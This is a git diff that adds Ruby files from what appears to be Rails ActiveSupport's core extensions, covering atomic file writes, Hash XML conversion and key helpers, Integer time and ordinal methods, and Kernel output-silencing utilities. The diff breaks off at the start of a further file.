diff --git a/activesupport/lib/active_support/core_ext/file/atomic.rb b/activesupport/lib/active_support/core_ext/file/atomic.rb
new file mode 100644
index 0000000..c3e6124
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/file/atomic.rb
@@ -0,0 +1,63 @@
+require 'fileutils'
+
+class File
+ # Write to a file atomically. Useful for situations where you don't
+ # want other processes or threads to see half-written files.
+ #
+ # File.atomic_write('important.file') do |file|
+ # file.write('hello')
+ # end
+ #
+ # If your temp directory is not on the same filesystem as the file you're
+ # trying to write, you can provide a different temporary directory.
+ #
+ # File.atomic_write('/data/something.important', '/data/tmp') do |file|
+ # file.write('hello')
+ # end
+ def self.atomic_write(file_name, temp_dir = Dir.tmpdir)
+ require 'tempfile' unless defined?(Tempfile)
+ require 'fileutils' unless defined?(FileUtils)
+
+ temp_file = Tempfile.new(basename(file_name), temp_dir)
+ temp_file.binmode
+ yield temp_file
+ temp_file.close
+
+ if File.exists?(file_name)
+ # Get original file permissions
+ old_stat = stat(file_name)
+ else
+ # If not possible, probe which are the default permissions in the
+ # destination directory.
+ old_stat = probe_stat_in(dirname(file_name))
+ end
+
+ # Overwrite original file with temp file
+ FileUtils.mv(temp_file.path, file_name)
+
+ # Set correct permissions on new file
+ begin
+ chown(old_stat.uid, old_stat.gid, file_name)
+ # This operation will affect filesystem ACL's
+ chmod(old_stat.mode, file_name)
+ rescue Errno::EPERM
+ # Changing file ownership failed, moving on.
+ end
+ end
+
+ # Private utility method.
+ def self.probe_stat_in(dir) #:nodoc:
+ basename = [
+ '.permissions_check',
+ Thread.current.object_id,
+ Process.pid,
+ rand(1000000)
+ ].join('.')
+
+ file_name = join(dir, basename)
+ FileUtils.touch(file_name)
+ stat(file_name)
+ ensure
+ FileUtils.rm_f(file_name) if file_name
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash.rb b/activesupport/lib/active_support/core_ext/hash.rb
new file mode 100644
index 0000000..5014834
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash.rb
@@ -0,0 +1,8 @@
+require 'active_support/core_ext/hash/conversions'
+require 'active_support/core_ext/hash/deep_merge'
+require 'active_support/core_ext/hash/diff'
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/hash/indifferent_access'
+require 'active_support/core_ext/hash/keys'
+require 'active_support/core_ext/hash/reverse_merge'
+require 'active_support/core_ext/hash/slice'
diff --git a/activesupport/lib/active_support/core_ext/hash/conversions.rb b/activesupport/lib/active_support/core_ext/hash/conversions.rb
new file mode 100644
index 0000000..8930376
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/conversions.rb
@@ -0,0 +1,241 @@
+require 'active_support/xml_mini'
+require 'active_support/time'
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/object/to_param'
+require 'active_support/core_ext/object/to_query'
+require 'active_support/core_ext/array/wrap'
+require 'active_support/core_ext/hash/reverse_merge'
+require 'active_support/core_ext/string/inflections'
+
+class Hash
+ # Returns a string containing an XML representation of its receiver:
+ #
+ # {'foo' => 1, 'bar' => 2}.to_xml
+ # # =>
+ # # <?xml version="1.0" encoding="UTF-8"?>
+ # # <hash>
+ # # <foo type="integer">1</foo>
+ # # <bar type="integer">2</bar>
+ # # </hash>
+ #
+ # To do so, the method loops over the pairs and builds nodes that depend on
+ # the _values_. Given a pair +key+, +value+:
+ #
+ # * If +value+ is a hash there's a recursive call with +key+ as <tt>:root</tt>.
+ #
+ # * If +value+ is an array there's a recursive call with +key+ as <tt>:root</tt>,
+ # and +key+ singularized as <tt>:children</tt>.
+ #
+ # * If +value+ is a callable object it must expect one or two arguments. Depending
+ # on the arity, the callable is invoked with the +options+ hash as first argument
+ # with +key+ as <tt>:root</tt>, and +key+ singularized as second argument. The
+ # callable can add nodes by using <tt>options[:builder]</tt>.
+ #
+ # 'foo'.to_xml(lambda { |options, key| options[:builder].b(key) })
+ # # => "<b>foo</b>"
+ #
+ # * If +value+ responds to +to_xml+ the method is invoked with +key+ as <tt>:root</tt>.
+ #
+ # class Foo
+ # def to_xml(options)
+ # options[:builder].bar 'fooing!'
+ # end
+ # end
+ #
+ # { foo: Foo.new }.to_xml(skip_instruct: true)
+ # # => "<hash><bar>fooing!</bar></hash>"
+ #
+ # * Otherwise, a node with +key+ as tag is created with a string representation of
+ # +value+ as text node. If +value+ is +nil+ an attribute "nil" set to "true" is added.
+ # Unless the option <tt>:skip_types</tt> exists and is true, an attribute "type" is
+ # added as well according to the following mapping:
+ #
+ # XML_TYPE_NAMES = {
+ # "Symbol" => "symbol",
+ # "Fixnum" => "integer",
+ # "Bignum" => "integer",
+ # "BigDecimal" => "decimal",
+ # "Float" => "float",
+ # "TrueClass" => "boolean",
+ # "FalseClass" => "boolean",
+ # "Date" => "date",
+ # "DateTime" => "dateTime",
+ # "Time" => "dateTime"
+ # }
+ #
+ # By default the root node is "hash", but that's configurable via the <tt>:root</tt> option.
+ #
+ # The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can
+ # configure your own builder with the <tt>:builder</tt> option. The method also accepts
+ # options like <tt>:dasherize</tt> and friends, they are forwarded to the builder.
+ def to_xml(options = {})
+ require 'active_support/builder' unless defined?(Builder)
+
+ options = options.dup
+ options[:indent] ||= 2
+ options[:root] ||= 'hash'
+ options[:builder] ||= Builder::XmlMarkup.new(indent: options[:indent])
+
+ builder = options[:builder]
+ builder.instruct! unless options.delete(:skip_instruct)
+
+ root = ActiveSupport::XmlMini.rename_key(options[:root].to_s, options)
+
+ builder.tag!(root) do
+ each { |key, value| ActiveSupport::XmlMini.to_tag(key, value, options) }
+ yield builder if block_given?
+ end
+ end
+
+ class << self
+ # Returns a Hash containing a collection of pairs when the key is the node name and the value is
+ # its content
+ #
+ # xml = <<-XML
+ # <?xml version="1.0" encoding="UTF-8"?>
+ # <hash>
+ # <foo type="integer">1</foo>
+ # <bar type="integer">2</bar>
+ # </hash>
+ # XML
+ #
+ # hash = Hash.from_xml(xml)
+ # # => {"hash"=>{"foo"=>1, "bar"=>2}}
+ #
+ # DisallowedType is raise if the XML contains attributes with <tt>type="yaml"</tt> or
+ # <tt>type="symbol"</tt>. Use <tt>Hash.from_trusted_xml</tt> to parse this XML.
+ def from_xml(xml, disallowed_types = nil)
+ ActiveSupport::XMLConverter.new(xml, disallowed_types).to_h
+ end
+
+ # Builds a Hash from XML just like <tt>Hash.from_xml</tt>, but also allows Symbol and YAML.
+ def from_trusted_xml(xml)
+ from_xml xml, []
+ end
+ end
+end
+
+module ActiveSupport
+ class XMLConverter # :nodoc:
+ class DisallowedType < StandardError
+ def initialize(type)
+ super "Disallowed type attribute: #{type.inspect}"
+ end
+ end
+
+ DISALLOWED_TYPES = %w(symbol yaml)
+
+ def initialize(xml, disallowed_types = nil)
+ @xml = normalize_keys(XmlMini.parse(xml))
+ @disallowed_types = disallowed_types || DISALLOWED_TYPES
+ end
+
+ def to_h
+ deep_to_h(@xml)
+ end
+
+ private
+ def normalize_keys(params)
+ case params
+ when Hash
+ Hash[params.map { |k,v| [k.to_s.tr('-', '_'), normalize_keys(v)] } ]
+ when Array
+ params.map { |v| normalize_keys(v) }
+ else
+ params
+ end
+ end
+
+ def deep_to_h(value)
+ case value
+ when Hash
+ process_hash(value)
+ when Array
+ process_array(value)
+ when String
+ value
+ else
+ raise "can't typecast #{value.class.name} - #{value.inspect}"
+ end
+ end
+
+ def process_hash(value)
+ if value.include?('type') && !value['type'].is_a?(Hash) && @disallowed_types.include?(value['type'])
+ raise DisallowedType, value['type']
+ end
+
+ if become_array?(value)
+ _, entries = Array.wrap(value.detect { |k,v| not v.is_a?(String) })
+ if entries.nil? || value['__content__'].try(:empty?)
+ []
+ else
+ case entries
+ when Array
+ entries.collect { |v| deep_to_h(v) }
+ when Hash
+ [deep_to_h(entries)]
+ else
+ raise "can't typecast #{entries.inspect}"
+ end
+ end
+ elsif become_content?(value)
+ process_content(value)
+
+ elsif become_empty_string?(value)
+ ''
+ elsif become_hash?(value)
+ xml_value = Hash[value.map { |k,v| [k, deep_to_h(v)] }]
+
+ # Turn { files: { file: #<StringIO> } } into { files: #<StringIO> } so it is compatible with
+ # how multipart uploaded files from HTML appear
+ xml_value['file'].is_a?(StringIO) ? xml_value['file'] : xml_value
+ end
+ end
+
+ def become_content?(value)
+ value['type'] == 'file' || (value['__content__'] && (value.keys.size == 1 || value['__content__'].present?))
+ end
+
+ def become_array?(value)
+ value['type'] == 'array'
+ end
+
+ def become_empty_string?(value)
+ # {"string" => true}
+ # No tests fail when the second term is removed.
+ value['type'] == 'string' && value['nil'] != 'true'
+ end
+
+ def become_hash?(value)
+ !nothing?(value) && !garbage?(value)
+ end
+
+ def nothing?(value)
+ # blank or nil parsed values are represented by nil
+ value.blank? || value['nil'] == 'true'
+ end
+
+ def garbage?(value)
+ # If the type is the only element which makes it then
+ # this still makes the value nil, except if type is
+ # a XML node(where type['value'] is a Hash)
+ value['type'] && !value['type'].is_a?(::Hash) && value.size == 1
+ end
+
+ def process_content(value)
+ content = value['__content__']
+ if parser = ActiveSupport::XmlMini::PARSING[value['type']]
+ parser.arity == 1 ? parser.call(content) : parser.call(content, value)
+ else
+ content
+ end
+ end
+
+ def process_array(value)
+ value.map! { |i| deep_to_h(i) }
+ value.length > 1 ? value : value.first
+ end
+
+ end
+end
+
diff --git a/activesupport/lib/active_support/core_ext/hash/deep_merge.rb b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
new file mode 100644
index 0000000..e07db50
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
@@ -0,0 +1,27 @@
+class Hash
+ # Returns a new hash with +self+ and +other_hash+ merged recursively.
+ #
+ # h1 = { x: { y: [4,5,6] }, z: [7,8,9] }
+ # h2 = { x: { y: [7,8,9] }, z: 'xyz' }
+ #
+ # h1.deep_merge(h2) #=> {x: {y: [7, 8, 9]}, z: "xyz"}
+ # h2.deep_merge(h1) #=> {x: {y: [4, 5, 6]}, z: [7, 8, 9]}
+ # h1.deep_merge(h2) { |key, old, new| Array.wrap(old) + Array.wrap(new) }
+ # #=> {:x=>{:y=>[4, 5, 6, 7, 8, 9]}, :z=>[7, 8, 9, "xyz"]}
+ def deep_merge(other_hash, &block)
+ dup.deep_merge!(other_hash, &block)
+ end
+
+ # Same as +deep_merge+, but modifies +self+.
+ def deep_merge!(other_hash, &block)
+ other_hash.each_pair do |k,v|
+ tv = self[k]
+ if tv.is_a?(Hash) && v.is_a?(Hash)
+ self[k] = tv.deep_merge(v, &block)
+ else
+ self[k] = block && tv ? block.call(k, tv, v) : v
+ end
+ end
+ self
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/diff.rb b/activesupport/lib/active_support/core_ext/hash/diff.rb
new file mode 100644
index 0000000..5f3868b
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/diff.rb
@@ -0,0 +1,14 @@
+class Hash
+ # Returns a hash that represents the difference between two hashes.
+ #
+ # {1 => 2}.diff(1 => 2) # => {}
+ # {1 => 2}.diff(1 => 3) # => {1 => 2}
+ # {}.diff(1 => 2) # => {1 => 2}
+ # {1 => 2, 3 => 4}.diff(1 => 2) # => {3 => 4}
+ def diff(other)
+ ActiveSupport::Deprecation.warn "Hash#diff is no longer used inside of Rails, and is being deprecated with no replacement. If you're using it to compare hashes for the purpose of testing, please use MiniTest's assert_equal instead."
+ dup.
+ delete_if { |k, v| other[k] == v }.
+ merge!(other.dup.delete_if { |k, v| has_key?(k) })
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/except.rb b/activesupport/lib/active_support/core_ext/hash/except.rb
new file mode 100644
index 0000000..d90e996
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/except.rb
@@ -0,0 +1,15 @@
+class Hash
+ # Return a hash that includes everything but the given keys. This is useful for
+ # limiting a set of parameters to everything but a few known toggles:
+ #
+ # @person.update(params[:person].except(:admin))
+ def except(*keys)
+ dup.except!(*keys)
+ end
+
+ # Replaces the hash without the given keys.
+ def except!(*keys)
+ keys.each { |key| delete(key) }
+ self
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
new file mode 100644
index 0000000..981e843
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
@@ -0,0 +1,22 @@
+require 'active_support/hash_with_indifferent_access'
+
+class Hash
+
+ # Returns an <tt>ActiveSupport::HashWithIndifferentAccess</tt> out of its receiver:
+ #
+ # { a: 1 }.with_indifferent_access['a'] # => 1
+ def with_indifferent_access
+ ActiveSupport::HashWithIndifferentAccess.new_from_hash_copying_default(self)
+ end
+
+ # Called when object is nested under an object that receives
+ # #with_indifferent_access. This method will be called on the current object
+ # by the enclosing object and is aliased to #with_indifferent_access by
+ # default. Subclasses of Hash may overwrite this method to return +self+ if
+ # converting to an <tt>ActiveSupport::HashWithIndifferentAccess</tt> would not be
+ # desirable.
+ #
+ # b = { b: 1 }
+ # { a: b }.with_indifferent_access['a'] # calls b.nested_under_indifferent_access
+ alias nested_under_indifferent_access with_indifferent_access
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/keys.rb b/activesupport/lib/active_support/core_ext/hash/keys.rb
new file mode 100644
index 0000000..b4c451a
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/keys.rb
@@ -0,0 +1,138 @@
+class Hash
+ # Return a new hash with all keys converted using the block operation.
+ #
+ # hash = { name: 'Rob', age: '28' }
+ #
+ # hash.transform_keys{ |key| key.to_s.upcase }
+ # # => { "NAME" => "Rob", "AGE" => "28" }
+ def transform_keys
+ result = {}
+ each_key do |key|
+ result[yield(key)] = self[key]
+ end
+ result
+ end
+
+ # Destructively convert all keys using the block operations.
+ # Same as transform_keys but modifies +self+.
+ def transform_keys!
+ keys.each do |key|
+ self[yield(key)] = delete(key)
+ end
+ self
+ end
+
+ # Return a new hash with all keys converted to strings.
+ #
+ # hash = { name: 'Rob', age: '28' }
+ #
+ # hash.stringify_keys
+ # #=> { "name" => "Rob", "age" => "28" }
+ def stringify_keys
+ transform_keys{ |key| key.to_s }
+ end
+
+ # Destructively convert all keys to strings. Same as
+ # +stringify_keys+, but modifies +self+.
+ def stringify_keys!
+ transform_keys!{ |key| key.to_s }
+ end
+
+ # Return a new hash with all keys converted to symbols, as long as
+ # they respond to +to_sym+.
+ #
+ # hash = { 'name' => 'Rob', 'age' => '28' }
+ #
+ # hash.symbolize_keys
+ # #=> { name: "Rob", age: "28" }
+ def symbolize_keys
+ transform_keys{ |key| key.to_sym rescue key }
+ end
+ alias_method :to_options, :symbolize_keys
+
+ # Destructively convert all keys to symbols, as long as they respond
+ # to +to_sym+. Same as +symbolize_keys+, but modifies +self+.
+ def symbolize_keys!
+ transform_keys!{ |key| key.to_sym rescue key }
+ end
+ alias_method :to_options!, :symbolize_keys!
+
+ # Validate all keys in a hash match <tt>*valid_keys</tt>, raising ArgumentError
+ # on a mismatch. Note that keys are NOT treated indifferently, meaning if you
+ # use strings for keys but assert symbols as keys, this will fail.
+ #
+ # { name: 'Rob', years: '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: years"
+ # { name: 'Rob', age: '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: name"
+ # { name: 'Rob', age: '28' }.assert_valid_keys(:name, :age) # => passes, raises nothing
+ def assert_valid_keys(*valid_keys)
+ valid_keys.flatten!
+ each_key do |k|
+ raise ArgumentError.new("Unknown key: #{k}") unless valid_keys.include?(k)
+ end
+ end
+
+ # Return a new hash with all keys converted by the block operation.
+ # This includes the keys from the root hash and from all
+ # nested hashes.
+ #
+ # hash = { person: { name: 'Rob', age: '28' } }
+ #
+ # hash.deep_transform_keys{ |key| key.to_s.upcase }
+ # # => { "PERSON" => { "NAME" => "Rob", "AGE" => "28" } }
+ def deep_transform_keys(&block)
+ result = {}
+ each do |key, value|
+ result[yield(key)] = value.is_a?(Hash) ? value.deep_transform_keys(&block) : value
+ end
+ result
+ end
+
+ # Destructively convert all keys by using the block operation.
+ # This includes the keys from the root hash and from all
+ # nested hashes.
+ def deep_transform_keys!(&block)
+ keys.each do |key|
+ value = delete(key)
+ self[yield(key)] = value.is_a?(Hash) ? value.deep_transform_keys!(&block) : value
+ end
+ self
+ end
+
+ # Return a new hash with all keys converted to strings.
+ # This includes the keys from the root hash and from all
+ # nested hashes.
+ #
+ # hash = { person: { name: 'Rob', age: '28' } }
+ #
+ # hash.deep_stringify_keys
+ # # => { "person" => { "name" => "Rob", "age" => "28" } }
+ def deep_stringify_keys
+ deep_transform_keys{ |key| key.to_s }
+ end
+
+ # Destructively convert all keys to strings.
+ # This includes the keys from the root hash and from all
+ # nested hashes.
+ def deep_stringify_keys!
+ deep_transform_keys!{ |key| key.to_s }
+ end
+
+ # Return a new hash with all keys converted to symbols, as long as
+ # they respond to +to_sym+. This includes the keys from the root hash
+ # and from all nested hashes.
+ #
+ # hash = { 'person' => { 'name' => 'Rob', 'age' => '28' } }
+ #
+ # hash.deep_symbolize_keys
+ # # => { person: { name: "Rob", age: "28" } }
+ def deep_symbolize_keys
+ deep_transform_keys{ |key| key.to_sym rescue key }
+ end
+
+ # Destructively convert all keys to symbols, as long as they respond
+ # to +to_sym+. This includes the keys from the root hash and from all
+ # nested hashes.
+ def deep_symbolize_keys!
+ deep_transform_keys!{ |key| key.to_sym rescue key }
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb b/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb
new file mode 100644
index 0000000..fbb4824
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb
@@ -0,0 +1,22 @@
+class Hash
+ # Merges the caller into +other_hash+. For example,
+ #
+ # options = options.reverse_merge(size: 25, velocity: 10)
+ #
+ # is equivalent to
+ #
+ # options = { size: 25, velocity: 10 }.merge(options)
+ #
+ # This is particularly useful for initializing an options hash
+ # with default values.
+ def reverse_merge(other_hash)
+ other_hash.merge(self)
+ end
+
+ # Destructive +reverse_merge+.
+ def reverse_merge!(other_hash)
+ # right wins if there is no left
+ merge!( other_hash ){|key,left,right| left }
+ end
+ alias_method :reverse_update, :reverse_merge!
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/slice.rb b/activesupport/lib/active_support/core_ext/hash/slice.rb
new file mode 100644
index 0000000..9fa9b3d
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/slice.rb
@@ -0,0 +1,40 @@
+class Hash
+ # Slice a hash to include only the given keys. This is useful for
+ # limiting an options hash to valid keys before passing to a method:
+ #
+ # def search(criteria = {})
+ # criteria.assert_valid_keys(:mass, :velocity, :time)
+ # end
+ #
+ # search(options.slice(:mass, :velocity, :time))
+ #
+ # If you have an array of keys you want to limit to, you should splat them:
+ #
+ # valid_keys = [:mass, :velocity, :time]
+ # search(options.slice(*valid_keys))
+ def slice(*keys)
+ keys.map! { |key| convert_key(key) } if respond_to?(:convert_key, true)
+ keys.each_with_object(self.class.new) { |k, hash| hash[k] = self[k] if has_key?(k) }
+ end
+
+ # Replaces the hash with only the given keys.
+ # Returns a hash containing the removed key/value pairs.
+ #
+ # { a: 1, b: 2, c: 3, d: 4 }.slice!(:a, :b)
+ # # => {:c=>3, :d=>4}
+ def slice!(*keys)
+ keys.map! { |key| convert_key(key) } if respond_to?(:convert_key, true)
+ omit = slice(*self.keys - keys)
+ hash = slice(*keys)
+ replace(hash)
+ omit
+ end
+
+ # Removes and returns the key/value pairs matching the given keys.
+ #
+ # { a: 1, b: 2, c: 3, d: 4 }.extract!(:a, :b) # => {:a=>1, :b=>2}
+ # { a: 1, b: 2 }.extract!(:a, :x) # => {:a=>1}
+ def extract!(*keys)
+ keys.each_with_object(self.class.new) { |key, result| result[key] = delete(key) if has_key?(key) }
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/infinite_comparable.rb b/activesupport/lib/active_support/core_ext/infinite_comparable.rb
new file mode 100644
index 0000000..b78b2de
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/infinite_comparable.rb
@@ -0,0 +1,35 @@
+require 'active_support/concern'
+require 'active_support/core_ext/module/aliasing'
+require 'active_support/core_ext/object/try'
+
+module InfiniteComparable
+ extend ActiveSupport::Concern
+
+ included do
+ alias_method_chain :<=>, :infinity
+ end
+
+ define_method :'<=>_with_infinity' do |other|
+ if other.class == self.class
+ public_send :'<=>_without_infinity', other
+ else
+ infinite = try(:infinite?)
+ other_infinite = other.try(:infinite?)
+
+ # inf <=> inf
+ if infinite && other_infinite
+ infinite <=> other_infinite
+ # not_inf <=> inf
+ elsif other_infinite
+ -other_infinite
+ # inf <=> not_inf
+ elsif infinite
+ infinite
+ else
+ conversion = "to_#{self.class.name.downcase}"
+ other = other.public_send(conversion) if other.respond_to?(conversion)
+ public_send :'<=>_without_infinity', other
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/integer.rb b/activesupport/lib/active_support/core_ext/integer.rb
new file mode 100644
index 0000000..a44a1b4
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/integer.rb
@@ -0,0 +1,3 @@
+require 'active_support/core_ext/integer/multiple'
+require 'active_support/core_ext/integer/inflections'
+require 'active_support/core_ext/integer/time'
diff --git a/activesupport/lib/active_support/core_ext/integer/inflections.rb b/activesupport/lib/active_support/core_ext/integer/inflections.rb
new file mode 100644
index 0000000..56f2ed5
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/integer/inflections.rb
@@ -0,0 +1,29 @@
+require 'active_support/inflector'
+
+class Integer
+ # Ordinalize turns a number into an ordinal string used to denote the
+ # position in an ordered sequence such as 1st, 2nd, 3rd, 4th.
+ #
+ # 1.ordinalize # => "1st"
+ # 2.ordinalize # => "2nd"
+ # 1002.ordinalize # => "1002nd"
+ # 1003.ordinalize # => "1003rd"
+ # -11.ordinalize # => "-11th"
+ # -1001.ordinalize # => "-1001st"
+ def ordinalize
+ ActiveSupport::Inflector.ordinalize(self)
+ end
+
+ # Ordinal returns the suffix used to denote the position
+ # in an ordered sequence such as 1st, 2nd, 3rd, 4th.
+ #
+ # 1.ordinal # => "st"
+ # 2.ordinal # => "nd"
+ # 1002.ordinal # => "nd"
+ # 1003.ordinal # => "rd"
+ # -11.ordinal # => "th"
+ # -1001.ordinal # => "st"
+ def ordinal
+ ActiveSupport::Inflector.ordinal(self)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/integer/multiple.rb b/activesupport/lib/active_support/core_ext/integer/multiple.rb
new file mode 100644
index 0000000..7c6c2f1
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/integer/multiple.rb
@@ -0,0 +1,10 @@
+class Integer
+ # Check whether the integer is evenly divisible by the argument.
+ #
+ # 0.multiple_of?(0) #=> true
+ # 6.multiple_of?(5) #=> false
+ # 10.multiple_of?(2) #=> true
+ def multiple_of?(number)
+ number != 0 ? self % number == 0 : zero?
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/integer/time.rb b/activesupport/lib/active_support/core_ext/integer/time.rb
new file mode 100644
index 0000000..82080ff
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/integer/time.rb
@@ -0,0 +1,44 @@
+require 'active_support/duration'
+require 'active_support/core_ext/numeric/time'
+
+class Integer
+ # Enables the use of time calculations and declarations, like <tt>45.minutes +
+ # 2.hours + 4.years</tt>.
+ #
+ # These methods use Time#advance for precise date calculations when using
+ # <tt>from_now</tt>, +ago+, etc. as well as adding or subtracting their
+ # results from a Time object.
+ #
+ # # equivalent to Time.now.advance(months: 1)
+ # 1.month.from_now
+ #
+ # # equivalent to Time.now.advance(years: 2)
+ # 2.years.from_now
+ #
+ # # equivalent to Time.now.advance(months: 4, years: 5)
+ # (4.months + 5.years).from_now
+ #
+ # While these methods provide precise calculation when used as in the examples
+ # above, care should be taken to note that this is not true if the result of
+ # +months+, +years+, etc is converted before use:
+ #
+ # # equivalent to 30.days.to_i.from_now
+ # 1.month.to_i.from_now
+ #
+ # # equivalent to 365.25.days.to_f.from_now
+ # 1.year.to_f.from_now
+ #
+ # In such cases, Ruby's core
+ # Date[http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html] and
+ # Time[http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html] should be used for precision
+ # date and time arithmetic.
+ def months
+ ActiveSupport::Duration.new(self * 30.days, [[:months, self]])
+ end
+ alias :month :months
+
+ def years
+ ActiveSupport::Duration.new(self * 365.25.days, [[:years, self]])
+ end
+ alias :year :years
+end
diff --git a/activesupport/lib/active_support/core_ext/kernel.rb b/activesupport/lib/active_support/core_ext/kernel.rb
new file mode 100644
index 0000000..0275f4c
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/kernel.rb
@@ -0,0 +1,4 @@
+require 'active_support/core_ext/kernel/reporting'
+require 'active_support/core_ext/kernel/agnostics'
+require 'active_support/core_ext/kernel/debugger'
+require 'active_support/core_ext/kernel/singleton_class'
diff --git a/activesupport/lib/active_support/core_ext/kernel/agnostics.rb b/activesupport/lib/active_support/core_ext/kernel/agnostics.rb
new file mode 100644
index 0000000..64837d8
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/kernel/agnostics.rb
@@ -0,0 +1,11 @@
+class Object
+ # Makes backticks behave (somewhat more) similarly on all platforms.
+ # On win32 `nonexistent_command` raises Errno::ENOENT; on Unix, the
+ # spawned shell prints a message to stderr and sets $?. We emulate
+ # Unix on the former but not the latter.
+ def `(command) #:nodoc:
+ super
+ rescue Errno::ENOENT => e
+ STDERR.puts "#$0: #{e}"
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/kernel/debugger.rb b/activesupport/lib/active_support/core_ext/kernel/debugger.rb
new file mode 100644
index 0000000..2073cac
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/kernel/debugger.rb
@@ -0,0 +1,10 @@
+module Kernel
+ unless respond_to?(:debugger)
+ # Starts a debugging session if the +debugger+ gem has been loaded (call rails server --debugger to do load it).
+ def debugger
+ message = "\n***** Debugger requested, but was not available (ensure the debugger gem is listed in Gemfile/installed as gem): Start server with --debugger to enable *****\n"
+ defined?(Rails) ? Rails.logger.info(message) : $stderr.puts(message)
+ end
+ alias breakpoint debugger unless respond_to?(:breakpoint)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/kernel/reporting.rb b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
new file mode 100644
index 0000000..79d3303
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
@@ -0,0 +1,109 @@
+require 'rbconfig'
+require 'tempfile'
+
+module Kernel
+ # Sets $VERBOSE to nil for the duration of the block and back to its original
+ # value afterwards.
+ #
+ # silence_warnings do
+ # value = noisy_call # no warning voiced
+ # end
+ #
+ # noisy_call # warning voiced
+ def silence_warnings
+ with_warnings(nil) { yield }
+ end
+
+ # Sets $VERBOSE to +true+ for the duration of the block and back to its
+ # original value afterwards.
+ def enable_warnings
+ with_warnings(true) { yield }
+ end
+
+ # Sets $VERBOSE for the duration of the block and back to its original
+ # value afterwards.
+ def with_warnings(flag)
+ old_verbose, $VERBOSE = $VERBOSE, flag
+ yield
+ ensure
+ $VERBOSE = old_verbose
+ end
+
+ # For compatibility
+ def silence_stderr #:nodoc:
+ silence_stream(STDERR) { yield }
+ end
+
+ # Silences any stream for the duration of the block.
+ #
+ # silence_stream(STDOUT) do
+ # puts 'This will never be seen'
+ # end
+ #
+ # puts 'But this will'
+ def silence_stream(stream)
+ old_stream = stream.dup
+ stream.reopen(RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL:' : '/dev/null')
+ stream.sync = true
+ yield
+ ensure
+ stream.reopen(old_stream)
+ end
+
+ # Blocks and ignores any exception passed as argument if raised within the block.
+ #
+ # suppress(ZeroDivisionError) do
+ # 1/0
+ # puts 'This code is NOT reached'
+ # end
+ #
+ # puts 'This code gets executed and nothing related to ZeroDivisionError was seen'
+ def suppress(*exception_classes)
+ yield
+ rescue Exception => e
+ raise unless exception_classes.any? { |cls| e.kind_of?(cls) }
+ end
+
+ # Captures the given stream and returns it:
+ #
+ # stream = capture(:stdout) { puts 'notice' }
+ # stream # => "notice\n"
+ #
+ # stream = capture(:stderr) { warn 'error' }
+ # stream # => "error\n"
+ #
+ # even for subprocesses:
+ #
+ # stream = capture(:stdout) { system('echo notice') }
+ # stream # => "notice\n"
+ #
+ # stream = capture(:stderr) { system('echo error 1>&2') }
+ # stream # => "error\n"
+ def capture(stream)
+ stream = stream.to_s
+ captured_stream = Tempfile.new(stream)
+ stream_io = eval("$#{stream}")
+ origin_stream = stream_io.dup
+ stream_io.reopen(captured_stream)
+
+ yield
+
+ stream_io.rewind
+ return captured_stream.read
+ ensure
+ captured_stream.unlink
+ stream_io.reopen(origin_stream)
+ end
+ alias :silence :capture
+
+ # Silences both STDOUT and STDERR, even for subprocesses.
+ #
+ # quietly { system 'bundle install' }
+ def quietly
+ silence_stream(STDOUT) do
+ silence_stream(STDERR) do
+ yield
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb b/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb
new file mode 100644
index 0000000..9bbf1bb
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb
@@ -0,0 +1,6 @@
+module Kernel
+ # class_eval on an object acts like singleton_class.class_eval.
+ def class_eval(*args, &block)
+ singleton_class.class_eval(*args, &block)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/load_error.rb b/activesupport/lib/active_support/core_ext/load_error.rb
new file mode 100644
index 0000000..fe24f37
--- /dev/null
